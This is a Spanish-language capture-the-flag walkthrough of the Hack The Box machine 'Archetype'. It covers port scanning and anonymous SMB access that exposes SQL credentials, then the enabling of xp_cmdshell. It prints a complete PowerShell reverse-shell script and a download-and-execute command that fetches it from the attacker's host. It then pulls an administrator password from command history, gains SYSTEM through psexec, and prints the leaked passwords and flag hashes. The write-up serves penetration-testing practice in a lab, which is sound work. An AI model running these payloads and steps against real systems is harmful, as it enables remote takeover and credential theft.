Escanear dispositivo

Se ejecuta el siguiente comando:

: **ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.27 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)**

--min-rate=1000: Se usa para decirle al programa que use un mínimo de tiempo

-T4: Es la retransmisión de paquetes para el escaneo, donde 1 es el mínimo, 3 es el que lleva por defecto, y 4 es normal

```
┌──────(root@kali)──────┐(~/HackTheBox)
│
└──>{SFire129}#ports=$(nmap -p- --min-rate=1000 -T4 192.168.0.3 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
┌──────(root@kali)──────┐(~/HackTheBox)
│
└──>{SFire129}#
```

Se lanza el escaneo de puertos

: **nmpa -sC -p$ports 10.10.10.27**

```
┌──>{SFire129}#nmap -sC -sV -p$ports 10.10.10.27
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-03 13:04 EDT
Nmap scan report for 10.10.10.27
Host is up (0.097s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp  open  ms-sql-s     Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
|   Target_Name: ARCHETYPE
|   NetBIOS_Domain_Name: ARCHETYPE
|   NetBIOS_Computer_Name: ARCHETYPE
|   DNS_Domain_Name: Archetype
|   DNS_Computer_Name: Archetype
|_  Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2020-05-03T03:18:11
|_Not valid after:  2050-05-03T03:18:11
|_ssl-date: 2020-05-03T17:19:48+00:00; +14m19s from scanner time.
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49667/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
```

```
Host script results:
|_clock-skew: mean: 1h38m19s, deviation: 3h07m51s, median: 14m18s
| ms-sql-info:
|   10.10.10.27:1433:
|     Version:
|       name: Microsoft SQL Server 2017 RTM
|       number: 14.00.1000.00
|       Product: Microsoft SQL Server 2017
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
| smb-os-discovery:
|   OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
|   Computer name: Archetype
|   NetBIOS computer name: ARCHETYPE\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-05-03T10:19:40-07:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2020-05-03T17:19:41
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.32 seconds
```

Después se realiza un escaneo del protocolo smb:

: **smbclient -N -L \\10.10.10.27**

```
|-------(root@kali)-------|(~/HackTheBox)
|
|-->{SFire129}#smbclient -N -L \\\\10.10.10.27\\

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        backups         Disk
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
SMB1 disabled -- no workgroup available
|-------(root@kali)-------|(~/HackTheBox)
|
```

Se realiza conexión a la carpeta compartida backups y se descarga lo que hay dentro

: **smbclient -N \\10.10.10.27\backups**

```
|-------(root@kali)-------|(~/HackTheBox)
|
|-->{SFire129}#smbclient -N \\\\10.10.10.27\\backups
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 20 07:20:57 2020
  ..                                  D        0  Mon Jan 20 07:20:57 2020
  prod.dtsConfig                     AR      609  Mon Jan 20 07:23:02 2020

                10328063 blocks of size 4096. 8249155 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (1.4 KiloBytes/sec) (average 1.4 KiloBytes/sec)
smb: \>
```

Se revisa el archivo y se logra evidenciar una cadena de conexión

```
|
|-->{SFire129}#cat prod.dtsConfig
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security I
alue>
    </Configuration>
</DTSConfiguration>|-------(root@kali)-------|(~/HackTheBox)
|
```

```
fo GeneratedBy="..." GeneratedFromPackageName="..." Gene

pe="Property" Path="\Package.Connections[Destination].Pr
ource=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;I
```

Se realiza instalación de programas de conexión para mssql

https://github.com/diegoexploit/impacket

dentro de la carpeta se ejecuta el comando "**pip install .**" y posteriormente realizar la conexión a la base de datos

```
|
|-->{SFire129}#mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
Impacket v0.9.22.dev1+20200428.191254.96c7a512 - Copyright 2020 SecureAuth Corporation

Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server    (140 3232)
[!] Press help for extra shell commands
SQL>
```

Después se revisa si el usuario con el que se autentica es administrador

: **SELECT IS_SRVROLEMEMBER ('sysadmin')**

```
SQL> SELECT IS_SRVROLEMEMBER ('sysadmin')

-----------

          1
```

Luego se habilitará la ejecución de comandos, para ello se debe ejecutar los siguientes comandos

EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;

```
SQL> xp_cmdshell whoami
output

-------------------------------------------------------------------------------

archetype\sql_svc

NULL

SQL> xp_cmdshell ipconfig
output

-------------------------------------------------------------------------------

NULL

Windows IP Configuration

NULL

NULL

Ethernet adapter Ethernet0 2:

NULL

   Connection-specific DNS Suffix  . :

   IPv6 Address. . . . . . . . . . . : dead:beef::3c72:d95b:715:6eb0

   Link-local IPv6 Address . . . . . : fe80::3c72:d95b:715:6eb0%7

   IPv4 Address. . . . . . . . . . . : 10.10.10.27

   Subnet Mask . . . . . . . . . . . : 255.255.255.0

   Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:339d%7

                                       10.10.10.2

NULL
```


Se debe crear en la máquina Kali un archivo con el nombre shll.ps1, archivo que se pondrá dentro del apache para ser descargado. NOTA: se debe cambiar la dirección ip del script por la máquina que recibirá una Shell en reverso.

$client = New-Object System.Net.Sockets.TCPClient("10.10.14.19",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String);$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

```
|-------(root@kali)-------|(/home/kali)
|
|-->{SFire129}#cat /var/www/html/shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.19",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65
535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoc
ing).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.
encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|-------(root@kali)-------|(/home/kali)
|
|-->{SFire129}#ls -la /var/www/html/
total 188
drwxr-xr-x 2 root root   4096 May  3 12:35 .
drwxr-xr-x 3 root root   4096 May  1 13:44 ..
-rw-r--r-- 1 root root 159913 May  1 13:43 exploit.html
-rw-r--r-- 1 root root  10701 Jan 27 12:46 index.html
-rw-r--r-- 1 root root    612 Jan 27 12:43 index.nginx-debian.html
-rw-r--r-- 1 root root    480 May  3 12:35 shell.ps1
|-------(root@kali)-------|(/home/kali)
|
```

Se pone a la escucha por el puerto 443 “**nc –lnvp 443”**, y desde la consola xp_cmdsell se llama el script previamente generado

: **xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.19/shell.ps1\");"**

```
SQL>  xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.19/shell.ps1\");"
output

-------------------------------------------------------------------------------
```

```
|
|-->{SFire129}#nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.10.27] 49706

# whoami
archetype\sql_svc
# getid
# guid
# id
# uid
# uname -a
# ?
# pwd
]
Path
----
C:\Windows\system32
```

Se navega hasta el escritorio del usuario sql_svc y allí se podrá encontrar un archivo flag que contiene un hash


```
    Directory: C:\Users\sql_svc\Desktop


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-ar---        2/25/2020   6:37 AM             32 user.txt


# type user.txt
3e7b102e78218e935bf3f4951fec21a3
#
```

Nota: se puede usar en algunos de los casos “dir /b/s *.txt” para localizar todos los archivos .txt

En la ubicación C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt se podrá encontrar los últimos commandos digitados, nota, esto a veces no funciona por el Windows defender

: **type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt**

```
#  type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
```

Este commando revela que se ha mapeado la unidad de red T usando el usuario **administrator** y la contraseña **MEGACORP_4dm1n!!**

Ahora dentro del impacket estará el script **psexe.py** el cual se podrá usar para ganar una Shell con privilegios.

```
|-------(root@kali)-------|(~/HackTheBox/impacket)
|
|-->{SFire129}#psexec.py administrator@10.10.10.27
Impacket v0.9.22.dev1+20200428.191254.96c7a512 - Copyright 2020 SecureAuth Corporation

Password:
[*] Requesting shares on 10.10.10.27.....
[*] Found writable share ADMIN$
[*] Uploading file ZYjfoROt.exe
[*] Opening SVCManager on 10.10.10.27.....
[*] Creating service TFtF on 10.10.10.27.....
[*] Starting service TFtF.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.107]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>
```

La bandera

```
C:\Users\Administrator>cd Desktop

C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is CE13-2325

 Directory of C:\Users\Administrator\Desktop

01/20/2020  06:42 AM    <DIR>          .
01/20/2020  06:42 AM    <DIR>          ..
02/25/2020  07:36 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)  33,786,339,328 bytes free

C:\Users\Administrator\Desktop>type root.txt
b91ccec3305e98240082d4474b848528
```